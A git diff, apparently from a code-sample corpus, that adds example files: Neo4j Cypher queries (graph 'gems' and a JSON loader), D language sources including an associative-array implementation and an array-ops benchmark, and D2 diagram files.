+                          WHEN year % 4 <> 0 THEN range(1,28)
+                          WHEN year % 100 <> 0 THEN range(1,29)
+                          WHEN year % 400 <> 0 THEN range(1,29)
+                          ELSE range(1,28)
+                        END
+                      ELSE range(1,30)
+                    END) |
+      CREATE (d:Day {day: day})
+      MERGE (m)-[:HAS_DAY]->(d))))
+
+WITH *
+
+MATCH (year:Year)-[:HAS_MONTH]->(month)-[:HAS_DAY]->(day)
+WITH year,month,day
+ORDER BY year.year, month.month, day.day
+WITH collect(day) as days
+FOREACH(i in RANGE(0, length(days)-2) |
+    FOREACH(day1 in [days[i]] |
+        FOREACH(day2 in [days[i+1]] |
+            CREATE UNIQUE (day1)-[:NEXT]->(day2))))
+
+//8. Mark's recommendation query
+MATCH (me:Person {name: "Adam"})
+MATCH (me)-[:FRIEND_OF]-()-[:FRIEND_OF]-(potentialFriend)
+
+WITH me, potentialFriend, COUNT(*) AS friendsInCommon
+
+WITH me,
+     potentialFriend,
+     SIZE((potentialFriend)-[:LIVES_IN]->()<-[:LIVES_IN]-(me)) AS sameLocation,
+     abs( me.age - potentialFriend.age) AS ageDifference,
+     LABELS(me) = LABELS(potentialFriend) AS gender,
+     friendsInCommon
+
+WHERE NOT (me)-[:FRIEND_OF]-(potentialFriend)
+
+WITH potentialFriend,
+       // 100 -> maxScore, 10 -> eightyPercentLevel, friendsInCommon -> score (from the formula above)
+       100 * (1 - exp((-1.0 * (log(5.0) / 10)) * friendsInCommon)) AS friendsInCommon,
+       sameLocation * 10 AS sameLocation,
+       -1 * (10 * (1 - exp((-1.0 * (log(5.0) / 20)) * ageDifference))) AS ageDifference,
+       CASE WHEN gender THEN 10 ELSE 0 END as sameGender
+
+RETURN potentialFriend,
+      {friendsInCommon: friendsInCommon,
+       sameLocation: sameLocation,
+       ageDifference:ageDifference,
+       sameGender: sameGender} AS parts,
+     friendsInCommon + sameLocation + ageDifference + sameGender AS score
+ORDER BY score DESC
+
+//9. The Daisy!
+CREATE (a:Middle {name:""}) -[:STALK]-> (b:Root {name:""})
+FOREACH (i in RANGE(1,10) | CREATE (a) -[:PETAL]-> (a))
+RETURN a, b
+
+
+
+
+//10. MERGE on dense nodes
+// see http://stackoverflow.com/questions/30930311/how-can-i-optimise-a-neo4j-merge-query-on-a-node-with-many-relationships/30932777#30932777
+
+convert this
+MATCH (from:Node { id: 0 })
+UNWIND RANGE(1,10000) AS i
+MATCH (to:Node { id: i})
+MERGE (to)<-[:HAS]-(from);
+
+to
+
+MATCH (from:Node { id: 0 })
+UNWIND RANGE(1,100000) AS i
+MATCH (to:Node { id: i})
+WHERE shortestPath((to)<-[:HAS]-(from)) IS NULL
+CREATE (from)-[:HAS]->(to);
\ No newline at end of file
diff --git a/samples/Cypher/graphgems.cypher b/samples/Cypher/graphgems.cypher
new file mode 100644
index 0000000000..1a51aad654
--- /dev/null
+++ b/samples/Cypher/graphgems.cypher
@@ -0,0 +1,162 @@
+// From: https://github.com/neo4j/cypher-shell/blob/4.3/cypher-shell/src/test/resources/org/neo4j/shell/parser/graphgems.cypher
+
+//GRAPHGEMS
+//10 (?) cypher queries that will blow your mind
+
+//1. The meta-graph
+MATCH (a)-[r]->(b)
+WITH labels(a) AS a_labels,type(r) AS rel_type,labels(b) AS b_labels
+UNWIND a_labels as l
+UNWIND b_labels as l2
+MERGE (a:Meta_Node {name:l})
+MERGE (b:Meta_Node {name:l2})
+MERGE (a)-[:META_RELATIONSHIP {name:rel_type}]->(b)
+RETURN distinct l as first_node, rel_type as connected_by, l2 as second_node
+
+//2. Betweenness centrality ftw
+MATCH p=allShortestPaths((source:Person)-[:KNOWS*]-(target:Person))
+WHERE id(source) < id(target) and length(p) > 1
+UNWIND nodes(p)[1..-1] as n
+RETURN n.firstname, n.lastname, count(*) as betweenness
+ORDER BY betweenness DESC;
+
+//3. Pagerank ftw
+//3.a Graph Theory: calculate the PageRank
+UNWIND range(1,2) AS round
+MATCH (n:Person)
+WHERE rand() < 0.1
+MATCH (n:Person)-[:KNOWS*..5]->(m:Person)
+SET m.rank = coalesce(m.rank,0) + 1
+
+//3.b Graph Theory: Show the PageRank
+match (n:Person)
+where n.rank is not null
+return n.firstname, n.lastname, n.rank
+order by n.rank desc
+limit 10;
+
+//4. Weighted shortest path
+START  startNode=node:node_auto_index(name="Start"),
+       endNode=node:node_auto_index(name="Finish")
+MATCH  p=(startNode)-[:NAVIGATE_TO*]->(endNode)
+RETURN p AS shortestPath,
+       reduce(distance=0, r in relationships(p) | distance+r.distance) AS totalDistance
+       ORDER BY totalDistance ASC
+       LIMIT 1;
+
+
+//5. Creating an in-graph index based on ordering node properties
+match (t:Time)--(d:Day {date: 20150506})
+with t
+order by t.time ASC
+with collect(t) as times
+  foreach (i in range(0,length(times)-2) |
+    foreach (t1 in [times[i]] |
+      foreach (t2 in [times[i+1]] |
+        merge (t1)-[:FOLLOWED_BY]->(t2))));
+
+//6. Graph Karaoke
+//create the karaoke graph
+load csv with headers from "https://docs.google.com/a/neotechnology.com/spreadsheets/d/1Q8W7hDOnkXiLanf2K3P85wAhqQG_qm7bTwI36MbB5fE/export?format=csv&id=1Q8W7hDOnkXiLanf2K3P85wAhqQG_qm7bTwI36MbB5fE&gid=0" as csv
+with csv.Sequence as seq, csv.Songsentence as row
+unwind row as text
+with seq, reduce(t=tolower(text), delim in [",",".","!","?",'"',":",";","'","-"] | replace(t,delim,"")) as normalized
+with seq, [w in split(normalized," ") | trim(w)] as words
+unwind range(0,size(words)-2) as idx
+MERGE (w1:Word {name:words[idx], seq:toInteger(seq)})
+MERGE (w2:Word {name:words[idx+1], seq:toInteger(seq)})
+MERGE (w1)-[r:NEXT {seq:toInteger(seq)}]->(w2)
+
+match (endword:Word), (startword:Word)
+where not ()-[:NEXT]->(startword)
+and not (endword)-[:NEXT]->()
+and startword.seq=endword.seq+1
+merge (endword)-[:NEXTSENTENCE]->(startword)
+
+
+//7. The Timetree
+WITH range(2011, 2014) AS years, range(1,12) as months
+FOREACH(year IN years |
+  MERGE (y:Year {year: year})
+  FOREACH(month IN months |
+    CREATE (m:Month {month: month})
+    MERGE (y)-[:HAS_MONTH]->(m)
+    FOREACH(day IN (CASE
+                      WHEN month IN [1,3,5,7,8,10,12] THEN range(1,31)
+                      WHEN month = 2 THEN
+                        CASE
+                          WHEN year % 4 <> 0 THEN range(1,28)
+                          WHEN year % 100 <> 0 THEN range(1,29)
+                          WHEN year % 400 <> 0 THEN range(1,29)
+                          ELSE range(1,28)
+                        END
+                      ELSE range(1,30)
+                    END) |
+      CREATE (d:Day {day: day})
+      MERGE (m)-[:HAS_DAY]->(d))))
+
+WITH *
+
+MATCH (year:Year)-[:HAS_MONTH]->(month)-[:HAS_DAY]->(day)
+WITH year,month,day
+ORDER BY year.year, month.month, day.day
+WITH collect(day) as days
+FOREACH(i in RANGE(0, length(days)-2) |
+    FOREACH(day1 in [days[i]] |
+        FOREACH(day2 in [days[i+1]] |
+            CREATE UNIQUE (day1)-[:NEXT]->(day2))))
+
+//8. Mark's recommendation query
+MATCH (me:Person {name: "Adam"})
+MATCH (me)-[:FRIEND_OF]-()-[:FRIEND_OF]-(potentialFriend)
+
+WITH me, potentialFriend, COUNT(*) AS friendsInCommon
+
+WITH me,
+     potentialFriend,
+     SIZE((potentialFriend)-[:LIVES_IN]->()<-[:LIVES_IN]-(me)) AS sameLocation,
+     abs( me.age - potentialFriend.age) AS ageDifference,
+     LABELS(me) = LABELS(potentialFriend) AS gender,
+     friendsInCommon
+
+WHERE NOT (me)-[:FRIEND_OF]-(potentialFriend)
+
+WITH potentialFriend,
+       // 100 -> maxScore, 10 -> eightyPercentLevel, friendsInCommon -> score (from the formula above)
+       100 * (1 - exp((-1.0 * (log(5.0) / 10)) * friendsInCommon)) AS friendsInCommon,
+       sameLocation * 10 AS sameLocation,
+       -1 * (10 * (1 - exp((-1.0 * (log(5.0) / 20)) * ageDifference))) AS ageDifference,
+       CASE WHEN gender THEN 10 ELSE 0 END as sameGender
+
+RETURN potentialFriend,
+      {friendsInCommon: friendsInCommon,
+       sameLocation: sameLocation,
+       ageDifference:ageDifference,
+       sameGender: sameGender} AS parts,
+     friendsInCommon + sameLocation + ageDifference + sameGender AS score
+ORDER BY score DESC
+
+//9. The Daisy!
+CREATE (a:Middle {name:""}) -[:STALK]-> (b:Root {name:""})
+FOREACH (i in RANGE(1,10) | CREATE (a) -[:PETAL]-> (a))
+RETURN a, b
+
+
+
+
+//10. MERGE on dense nodes
+// see http://stackoverflow.com/questions/30930311/how-can-i-optimise-a-neo4j-merge-query-on-a-node-with-many-relationships/30932777#30932777
+
+convert this
+MATCH (from:Node { id: 0 })
+UNWIND RANGE(1,10000) AS i
+MATCH (to:Node { id: i})
+MERGE (to)<-[:HAS]-(from);
+
+to
+
+MATCH (from:Node { id: 0 })
+UNWIND RANGE(1,100000) AS i
+MATCH (to:Node { id: i})
+WHERE shortestPath((to)<-[:HAS]-(from)) IS NULL
+CREATE (from)-[:HAS]->(to);
\ No newline at end of file
diff --git a/samples/Cypher/load_from_json.cypher b/samples/Cypher/load_from_json.cypher
new file mode 100644
index 0000000000..04155d090f
--- /dev/null
+++ b/samples/Cypher/load_from_json.cypher
@@ -0,0 +1,19 @@
+WITH "https://api.stackexchange.com/2.2/questions?pagesize=100&order=desc&sort=creation&tagged=neo4j&site=stackoverflow&filter=!5-i6Zw8Y)4W7vpy91PMYsKM-k9yzEsSC1_Uxlf" AS url
+CALL apoc.load.json(url,'$.items[?(@.answer_count>0)].answers[*]') YIELD value
+MERGE (a:Answer {id: value.answer_id})
+  ON CREATE SET a.accepted = value.is_accepted,
+                a.shareLink = value.share_link,
+                a.lastActivityDate = value.last_activity_date,
+                a.creationDate = value.creation_date,
+                a.title = value.title,
+                a.score = value.score
+MERGE (q:Question {id: value.question_id})
+MERGE (a)-[rel:POSTED_TO]->(q)
+WITH a as answer, value.owner as value
+MERGE (u:User {userId: value.user_id})
+  ON CREATE SET u.displayName = value.display_name,
+                u.userType = value.user_type,
+                u.reputation = value.reputation,
+                u.userLink = value.link
+MERGE (u)-[rel2:SUBMITTED]->(answer)
+RETURN count(answer)
\ No newline at end of file
diff --git a/samples/D/aa.d b/samples/D/aa.d
new file mode 100644
index 0000000000..b82249aa30
--- /dev/null
+++ b/samples/D/aa.d
@@ -0,0 +1,440 @@
+/**
+ * Implementation of associative arrays.
+ *
+ * Copyright: Martin Nowak 2015 -.
+ * License:   $(LINK2 http://www.boost.org/LICENSE_1_0.txt, Boost License 1.0)
+ * Authors:   Martin Nowak
+ */
+module core.aa;
+
+import core.memory : GC;
+
+private
+{
+    // grow threshold
+    enum GROW_NUM = 4;
+    enum GROW_DEN = 5;
+    // shrink threshold
+    enum SHRINK_NUM = 1;
+    enum SHRINK_DEN = 8;
+    // grow factor
+    enum GROW_FAC = 4;
+    // growing the AA doubles it's size, so the shrink threshold must be
+    // smaller than half the grow threshold to have a hysteresis
+    static assert(GROW_FAC * SHRINK_NUM * GROW_DEN < GROW_NUM * SHRINK_DEN);
+    // initial load factor (for literals), mean of both thresholds
+    enum INIT_NUM = (GROW_DEN * SHRINK_NUM + GROW_NUM * SHRINK_DEN) / 2;
+    enum INIT_DEN = SHRINK_DEN * GROW_DEN;
+
+    // magic hash constants to distinguish empty, deleted, and filled buckets
+    enum HASH_EMPTY = 0;
+    enum HASH_DELETED = 0x1;
+    enum HASH_FILLED_MARK = size_t(1) << 8 * size_t.sizeof - 1;
+}
+
+enum INIT_NUM_BUCKETS = 8;
+
+struct AA(Key, Val)
+{
+    this(size_t sz)
+    {
+        impl = new Impl(nextpow2(sz));
+    }
+
+    @property bool empty() const pure nothrow @safe @nogc
+    {
+        return !length;
+    }
+
+    @property size_t length() const pure nothrow @safe @nogc
+    {
+        return impl is null ? 0 : impl.length;
+    }
+
+    void opIndexAssign(Val val, in Key key)
+    {
+        // lazily alloc implementation
+        if (impl is null)
+            impl = new Impl(INIT_NUM_BUCKETS);
+
+        // get hash and bucket for key
+        immutable hash = calcHash(key);
+
+        // found a value => assignment
+        if (auto p = impl.findSlotLookup(hash, key))
+        {
+            p.entry.val = val;
+            return;
+        }
+
+        auto p = findSlotInsert(hash);
+        if (p.deleted)
+            --deleted;
+        // check load factor and possibly grow
+        else if (++used * GROW_DEN > dim * GROW_NUM)
+        {
+            grow();
+            p = findSlotInsert(hash);
+            assert(p.empty);
+        }
+
+        // update search cache and allocate entry
+        firstUsed = min(firstUsed, cast(uint)(p - buckets.ptr));
+        p.hash = hash;
+        p.entry = new Impl.Entry(key, val); // TODO: move
+        return;
+    }
+
+    ref inout(Val) opIndex(in Key key) inout @trusted
+    {
+        auto p = opIn_r(key);
+        assert(p !is null);
+        return *p;
+    }
+
+    inout(Val)* opIn_r(in Key key) inout @trusted
+    {
+        if (empty)
+            return null;
+
+        immutable hash = calcHash(key);
+        if (auto p = findSlotLookup(hash, key))
+            return &p.entry.val;
+        return null;
+    }
+
+    bool remove(in Key key)
+    {
+        if (empty)
+            return false;
+
+        immutable hash = calcHash(key);
+        if (auto p = findSlotLookup(hash, key))
+        {
+            // clear entry
+            p.hash = HASH_DELETED;
+            p.entry = null;
+
+            ++deleted;
+            if (length * SHRINK_DEN < dim * SHRINK_NUM)
+                shrink();
+
+            return true;
+        }
+        return false;
+    }
+
+    Val get(in Key key, lazy Val val)
+    {
+        auto p = opIn_r(key);
+        return p is null ? val : *p;
+    }
+
+    ref Val getOrSet(in Key key, lazy Val val)
+    {
+        // lazily alloc implementation
+        if (impl is null)
+            impl = new Impl(INIT_NUM_BUCKETS);
+
+        // get hash and bucket for key
+        immutable hash = calcHash(key);
+
+        // found a value => assignment
+        if (auto p = impl.findSlotLookup(hash, key))
+            return p.entry.val;
+
+        auto p = findSlotInsert(hash);
+        if (p.deleted)
+            --deleted;
+        // check load factor and possibly grow
+        else if (++used * GROW_DEN > dim * GROW_NUM)
+        {
+            grow();
+            p = findSlotInsert(hash);
+            assert(p.empty);
+        }
+
+        // update search cache and allocate entry
+        firstUsed = min(firstUsed, cast(uint)(p - buckets.ptr));
+        p.hash = hash;
+        p.entry = new Impl.Entry(key, val);
+        return p.entry.val;
+    }
+
+    /**
+       Convert the AA to the type of the builtin language AA.
+     */
+    Val[Key] toBuiltinAA() pure nothrow
+    {
+        return cast(Val[Key]) _aaFromCoreAA(impl, rtInterface);
+    }
+
+private:
+
+    private this(inout(Impl)* impl) inout
+    {
+        this.impl = impl;
+    }
+
+    ref Val getLValue(in Key key)
+    {
+        // lazily alloc implementation
+        if (impl is null)
+            impl = new Impl(INIT_NUM_BUCKETS);
+
+        // get hash and bucket for key
+        immutable hash = calcHash(key);
+
+        // found a value => assignment
+        if (auto p = impl.findSlotLookup(hash, key))
+            return p.entry.val;
+
+        auto p = findSlotInsert(hash);
+        if (p.deleted)
+            --deleted;
+        // check load factor and possibly grow
+        else if (++used * GROW_DEN > dim * GROW_NUM)
+        {
+            grow();
+            p = findSlotInsert(hash);
+            assert(p.empty);
+        }
+
+        // update search cache and allocate entry
+        firstUsed = min(firstUsed, cast(uint)(p - buckets.ptr));
+        p.hash = hash;
+        p.entry = new Impl.Entry(key); // TODO: move
+        return p.entry.val;
+    }
+
+    static struct Impl
+    {
+        this(size_t sz)
+        {
+            buckets = allocBuckets(sz);
+        }
+
+        @property size_t length() const pure nothrow @nogc
+        {
+            assert(used >= deleted);
+            return used - deleted;
+        }
+
+        @property size_t dim() const pure nothrow @nogc
+        {
+            return buckets.length;
+        }
+
+        @property size_t mask() const pure nothrow @nogc
+        {
+            return dim - 1;
+        }
+
+        // find the first slot to insert a value with hash
+        inout(Bucket)* findSlotInsert(size_t hash) inout pure nothrow @nogc
+        {
+            for (size_t i = hash & mask, j = 1;; ++j)
+            {
+                if (!buckets[i].filled)
+                    return &buckets[i];
+                i = (i + j) & mask;
+            }
+        }
+
+        // lookup a key
+        inout(Bucket)* findSlotLookup(size_t hash, in Key key) inout
+        {
+            for (size_t i = hash & mask, j = 1;; ++j)
+            {
+                if (buckets[i].hash == hash && key == buckets[i].entry.key)
+                    return &buckets[i];
+                else if (buckets[i].empty)
+                    return null;
+                i = (i + j) & mask;
+            }
+        }
+
+        void grow()
+        {
+            // If there are so many deleted entries, that growing would push us
+            // below the shrink threshold, we just purge deleted entries instead.
+            if (length * SHRINK_DEN < GROW_FAC * dim * SHRINK_NUM)
+                resize(dim);
+            else
+                resize(GROW_FAC * dim);
+        }
+
+        void shrink()
+        {
+            if (dim > INIT_NUM_BUCKETS)
+                resize(dim / GROW_FAC);
+        }
+
+        void resize(size_t ndim) pure nothrow
+        {
+            auto obuckets = buckets;
+            buckets = allocBuckets(ndim);
+
+            foreach (ref b; obuckets)
+                if (b.filled)
+                    *findSlotInsert(b.hash) = b;
+
+            firstUsed = 0;
+            used -= deleted;
+            deleted = 0;
+            GC.free(obuckets.ptr); // safe to free b/c impossible to reference
+        }
+
+        static struct Entry
+        {
+            Key key;
+            Val val;
+        }
+
+        static struct Bucket
+        {
+            size_t hash;
+            Entry* entry;
+
+            @property bool empty() const
+            {
+                return hash == HASH_EMPTY;
+            }
+
+            @property bool deleted() const
+            {
+                return hash == HASH_DELETED;
+            }
+
+            @property bool filled() const
+            {
+                return cast(ptrdiff_t) hash < 0;
+            }
+        }
+
+        Bucket[] allocBuckets(size_t dim) @trusted pure nothrow
+        {
+            enum attr = GC.BlkAttr.NO_INTERIOR;
+            immutable sz = dim * Bucket.sizeof;
+            return (cast(Bucket*) GC.calloc(sz, attr))[0 .. dim];
+        }
+
+        Bucket[] buckets;
+        uint used;
+        uint deleted;
+        uint firstUsed;
+    }
+
+    RTInterface* rtInterface()() pure nothrow @nogc
+    {
+        static size_t aaLen(in void* pimpl) pure nothrow @nogc
+        {
+            auto aa = const(AA)(cast(const(Impl)*) pimpl);
+            return aa.length;
+        }
+
+        static void* aaGetY(void** pimpl, in void* pkey)
+        {
+            auto aa = AA(cast(Impl*)*pimpl);
+            auto res = &aa.getLValue(*cast(const(Key*)) pkey);
+            *pimpl = aa.impl; // might have changed
+            return res;
+        }
+
+        static inout(void)* aaInX(inout void* pimpl, in void* pkey)
+        {
+            auto aa = inout(AA)(cast(inout(Impl)*) pimpl);
+            return aa.opIn_r(*cast(const(Key*)) pkey);
+        }
+
+        static bool aaDelX(void* pimpl, in void* pkey)
+        {
+            auto aa = AA(cast(Impl*) pimpl);
+            return aa.remove(*cast(const(Key*)) pkey);
+        }
+
+        static immutable vtbl = RTInterface(&aaLen, &aaGetY, &aaInX, &aaDelX);
+        return cast(RTInterface*)&vtbl;
+    }
+
+    static size_t calcHash(in ref Key key)
+    {
+        return hashOf(key) | HASH_FILLED_MARK;
+    }
+
+    Impl* impl;
+    alias impl this;
+}
+
+package extern (C) void* _aaFromCoreAA(void* impl, RTInterface* rtIntf) pure nothrow;
+
+private:
+
+struct RTInterface
+{
+    alias AA = void*;
+
+    size_t function(in AA aa) pure nothrow @nogc len;
+    void* function(AA* aa, in void* pkey) getY;
+    inout(void)* function(inout AA aa, in void* pkey) inX;
+    bool function(AA aa, in void* pkey) delX;
+}
+
+unittest
+{
+    AA!(int, int) aa;
+    assert(aa.length == 0);
+    aa[0] = 1;
+    assert(aa.length == 1 && aa[0] == 1);
+    aa[1] = 2;
+    assert(aa.length == 2 && aa[1] == 2);
+    import core.stdc.stdio;
+
+    int[int] rtaa = aa.toBuiltinAA();
+    assert(rtaa.length == 2);
+    puts("length");
+    assert(rtaa[0] == 1);
+    assert(rtaa[1] == 2);
+    rtaa[2] = 3;
+
+    assert(aa[2] == 3);
+}
+
+unittest
+{
+    auto aa = AA!(int, int)(3);
+    aa[0] = 0;
+    aa[1] = 1;
+    aa[2] = 2;
+    assert(aa.length == 3);
+}
+
+//==============================================================================
+// Helper functions
+//------------------------------------------------------------------------------
+
+size_t nextpow2(in size_t n) pure nothrow @nogc
+{
+    import core.bitop : bsr;
+
+    if (n < 2)
+        return 1;
+    return size_t(1) << bsr(n - 1) + 1;
+}
+
+pure nothrow @nogc unittest
+{
+    //                            0, 1, 2, 3, 4, 5, 6, 7, 8,  9
+    foreach (const n, const pow2; [1, 1, 2, 4, 4, 8, 8, 8, 8, 16])
+        assert(nextpow2(n) == pow2);
+}
+
+T min(T)(T a, T b) pure nothrow @nogc
+{
+    return a < b ? a : b;
+}
+
+T max(T)(T a, T b) pure nothrow @nogc
+{
+    return b < a ? a : b;
+}
diff --git a/samples/D/arrayops.d b/samples/D/arrayops.d
new file mode 100644
index 0000000000..60490b02d7
--- /dev/null
+++ b/samples/D/arrayops.d
@@ -0,0 +1,187 @@
+/**
+ * Benchmark for array ops.
+ *
+ * Copyright: Copyright Martin Nowak 2016 -.
+ * License:   $(LINK2 http://www.boost.org/LICENSE_1_0.txt, Boost License 1.0)
+ * Authors:   Martin Nowak
+ */
+import core.cpuid, std.algorithm, std.datetime, std.meta, std.stdio, std.string,
+    std.range;
+
+float[6] getLatencies(T, string op)()
+{
+    enum N = (64 * (1 << 6) + 64) * T.sizeof;
+    auto a = Array!T(N), b = Array!T(N), c = Array!T(N);
+    float[6] latencies = float.max;
+    foreach (i, ref latency; latencies)
+    {
+        auto len = 1 << i;
+        foreach (_; 1 .. 32)
+        {
+            a[] = 24;
+            b[] = 4;
+            c[] = 2;
+            auto sw = StopWatch(AutoStart.yes);
+            foreach (off; size_t(0) .. size_t(64))
+            {
+                off = off * len + off;
+                enum op = op.replace("const", "2").replace("a",
+                        "a[off .. off + len]").replace("b",
+                        "b[off .. off + len]").replace("c", "c[off .. off + len]");
+                mixin(op ~ ";");
+            }
+            latency = min(latency, sw.peek.nsecs);
+        }
+    }
+    float[6] res = latencies[] / 1024;
+    return res;
+}
+
+float[4] getThroughput(T, string op)()
+{
+    enum N = (40 * 1024 * 1024 + 64 * T.sizeof) / T.sizeof;
+    auto a = Array!T(N), b = Array!T(N), c = Array!T(N);
+    float[4] latencies = float.max;
+    size_t[4] lengths = [
+        8 * 1024 / T.sizeof, 32 * 1024 / T.sizeof, 512 * 1024 / T.sizeof, 32 * 1024 * 1024 / T
+        .sizeof
+    ];
+    foreach (i, ref latency; latencies)
+    {
+        auto len = lengths[i] / 64;
+        foreach (_; 1 .. 4)
+        {
+            a[] = 24;
+            b[] = 4;
+            c[] = 2;
+            auto sw = StopWatch(AutoStart.yes);
+            foreach (off; size_t(0) .. size_t(64))
+            {
+                off = off * len + off;
+                enum op = op.replace("const", "2").replace("a",
+                        "a[off .. off + len]").replace("b",
+                        "b[off .. off + len]").replace("c", "c[off .. off + len]");
+                mixin(op ~ ";");
+            }
+            immutable nsecs = sw.peek.nsecs;
+            runMasked({latency = min(latency, nsecs);});
+        }
+    }
+    float[4] throughputs = void;
+    runMasked({throughputs = T.sizeof * lengths[] / latencies[];});
+    return throughputs;
+}
+
+string[] genOps()
+{
+    string[] ops;
+    foreach (op1; ["+", "-", "*", "/"])
+    {
+        ops ~= "a " ~ op1 ~ "= b";
+        ops ~= "a " ~ op1 ~ "= const";
+        foreach (op2; ["+", "-", "*", "/"])
+        {
+            ops ~= "a " ~ op1 ~ "= b " ~ op2 ~ " c";
+            ops ~= "a " ~ op1 ~ "= b " ~ op2 ~ " const";
+        }
+    }
+    return ops;
+}
+
+void runOp(string op)()
+{
+    foreach (T; AliasSeq!(ubyte, ushort, uint, ulong, byte, short, int, long, float,
+            double))
+        writefln("%s, %s, %(%.2f, %), %(%s, %)", T.stringof, op,
+            getLatencies!(T, op), getThroughput!(T, op));
+}
+
+struct Array(T)
+{
+    import core.stdc.stdlib : free, malloc;
+
+    this(size_t n)
+    {
+        ary = (cast(T*) malloc(T.sizeof * n))[0 .. n];
+    }
+
+    ~this()
+    {
+        free(ary.ptr);
+    }
+
+    T[] ary;
+    alias ary this;
+}
+
+version (X86)
+    version = SSE;
+else version (X86_64)
+    version = SSE;
+else
+    static assert(0, "unimplemented");
+
+version (SSE)
+{
+    uint mxcsr()
+    {
+        uint ret = void;
+        asm
+        {
+            stmxcsr ret;
+        }
+        return ret;
+    }
+
+    void mxcsr(uint val)
+    {
+        asm
+        {
+            ldmxcsr val;
+        }
+    }
+
+    // http://softpixel.com/~cwright/programming/simd/sse.php
+    enum FPU_EXCEPTION_MASKS = 1 << 12 | 1 << 11 | 1 << 10 | 1 << 9 | 1 << 8 | 1 << 7;
+    enum FPU_EXCEPTION_FLAGS = 1 << 5 | 1 << 4 | 1 << 3 | 1 << 2 | 1 << 1 | 1 << 0;
+
+    void maskFPUExceptions()
+    {
+        mxcsr = mxcsr | FPU_EXCEPTION_MASKS;
+    }
+
+    void unmaskFPUExceptions()
+    {
+        mxcsr = mxcsr & ~FPU_EXCEPTION_MASKS;
+    }
+
+    uint FPUExceptionFlags()
+    {
+        return mxcsr & FPU_EXCEPTION_FLAGS;
+    }
+
+    void clearFPUExceptionFlags()
+    {
+        mxcsr = mxcsr & ~FPU_EXCEPTION_FLAGS;
+    }
+}
+
+void runMasked(scope void delegate() dg)
+{
+    assert(FPUExceptionFlags == 0);
+    maskFPUExceptions;
+    dg();
+    clearFPUExceptionFlags;
+    unmaskFPUExceptions;
+}
+
+void main()
+{
+    unmaskFPUExceptions;
+
+    writefln("type, op, %(latency%s, %), %-(throughput%s, %)", iota(6)
+        .map!(i => 1 << i), ["8KB", "32KB", "512KB", "32MB"]);
+    foreach (op; mixin("AliasSeq!(%(%s, %))".format(genOps)))
+        runOp!op;
+    maskFPUExceptions;
+}
diff --git a/samples/D/function.d b/samples/D/function.d
new file mode 100644
index 0000000000..3695dc91e3
--- /dev/null
+++ b/samples/D/function.d
@@ -0,0 +1,3 @@
+void foo()
+{
+}
diff --git a/samples/D/hello_world.d b/samples/D/hello_world.d
new file mode 100644
index 0000000000..7d0e1ada2c
--- /dev/null
+++ b/samples/D/hello_world.d
@@ -0,0 +1,6 @@
+import std.stdio;
+
+void main()
+{
+    writeln("Hello World");
+}
diff --git a/samples/D/template.d b/samples/D/template.d
new file mode 100644
index 0000000000..72e4971176
--- /dev/null
+++ b/samples/D/template.d
@@ -0,0 +1,7 @@
+template Fib(size_t N)
+{
+    static if (N < 2)
+        enum Fib = size_t(1);
+    else
+        enum Fib = Fib!(N - 2) + Fib!(N - 1);
+}
diff --git a/samples/D/template_function.d b/samples/D/template_function.d
new file mode 100644
index 0000000000..31476ce49c
--- /dev/null
+++ b/samples/D/template_function.d
@@ -0,0 +1,3 @@
+void bar(T)(T t)
+{
+}
diff --git a/samples/D/unittest1.d b/samples/D/unittest1.d
new file mode 100644
index 0000000000..1d3b83d91c
--- /dev/null
+++ b/samples/D/unittest1.d
@@ -0,0 +1,3 @@
+unittest
+{
+}
diff --git a/samples/D/unittest2.d b/samples/D/unittest2.d
new file mode 100644
index 0000000000..6e6644a11c
--- /dev/null
+++ b/samples/D/unittest2.d
@@ -0,0 +1,3 @@
+unittest("optional name")
+{
+}
diff --git a/samples/D2/anthias-diagram-overview.d2 b/samples/D2/anthias-diagram-overview.d2
new file mode 100644
index 0000000000..9d490afb54
--- /dev/null
+++ b/samples/D2/anthias-diagram-overview.d2
@@ -0,0 +1,55 @@
+direction: down
+
+classes: {
+  containers: {
+    shape: rectangle
+  }
+}
+
+user: "User" {
+  shape: person
+}
+
+database: "SQLite3" {
+  shape: cylinder
+}
+
+a {
+  label: null
+  style.fill: transparent
+  style.stroke: transparent
+}
+
+b {
+  label: null
+  style.fill: transparent
+  style.stroke: transparent
+}
+
+b.display: "Display (Monitor or TV)" {
+  style.3d: true
+}
+
+anthias-nginx.class: containers
+b.anthias-viewer.class: containers
+a.anthias-server.class: containers
+a.anthias-websocket.class: containers
+a.anthias-celery.class: containers
+a.redis.class: containers
+
+user -> anthias-nginx
+anthias-nginx <-> a.anthias-server
+anthias-nginx -> a.anthias-websocket
+
+a.anthias-server <-> a.anthias-celery
+a.anthias-websocket <-> a.anthias-server
+a.anthias-celery -> a.redis: "in-memory data"
+a.redis <-> a.anthias-server
+
+b.anthias-viewer <-> database: "assets data"
+
+a.anthias-server <-> b.anthias-viewer: "assets data"
+a.anthias-server <-> database
+a.anthias-celery <-> database
+
+b.anthias-viewer -> b.display: "current asset"
diff --git a/samples/D2/calc_algo.d2 b/samples/D2/calc_algo.d2
new file mode 100644
index 0000000000..f083a9f1e2
--- /dev/null
+++ b/samples/D2/calc_algo.d2
@@ -0,0 +1,148 @@
+
+cTrnDao: CalcTrnDao {
+    q: Query {
+        ByTime
+        ByCategory
+        ByAccount
+        ByPurpose
+    }
+    sql: "SQL: O(trns.count) time | O(trns.notDel.count) space" {
+        "SELECT amount, currency, type FROM transactions WHERE ..."
+    }
+    trns: "List<CalcTrn>" {
+        CalcTrn {
+            shape: class
+
+            amount: Double
+            currency: String
+            type: TransactionType
+        }
+    }
+
+    q -> sql -> trns
+}
+
+rawStatsFlow: RawStatsFlow {
+    in: Input {
+        shape: class
+        trns: List<CalcTrn>
+    }
+
+    p: "Process: O(trns.count) time | O(currs.unique.count) space" {
+        "trns.forEach { aggregate incomes, expense by currencies + count them }"
+    }
+
+    out: RawStats {
+        shape: class
+        incomes: Map<CurrencyCode, Double>
+        expenses: Map<CurrencyCode, Double>
+        incomesCount: Int
+        expensesCount: Int
+    }
+
+    in -> p -> out
+}
+
+cTrndao.trns -> rawStatsFlow.in.trns
+
+# RatesFlow
+ratesDao: RatesDao {
+    sql: "SQL: O(rates.count) time | O(rates.baseCurr.count) space" {
+        "SELECT rate, currency FROM exchange_rates WHERE baseCurrency = ?"
+    }
+    out: "List<Rate>" {
+        Rate {
+            shape: class
+            rate: Double
+            currency: String
+        }
+    }
+    sql -> out
+}
+
+ratesOverrideDao: RateOverrideDao {
+    sql: "SQL: O(rates.override.count) time | O(rates.override.baseCurr.count) space" {
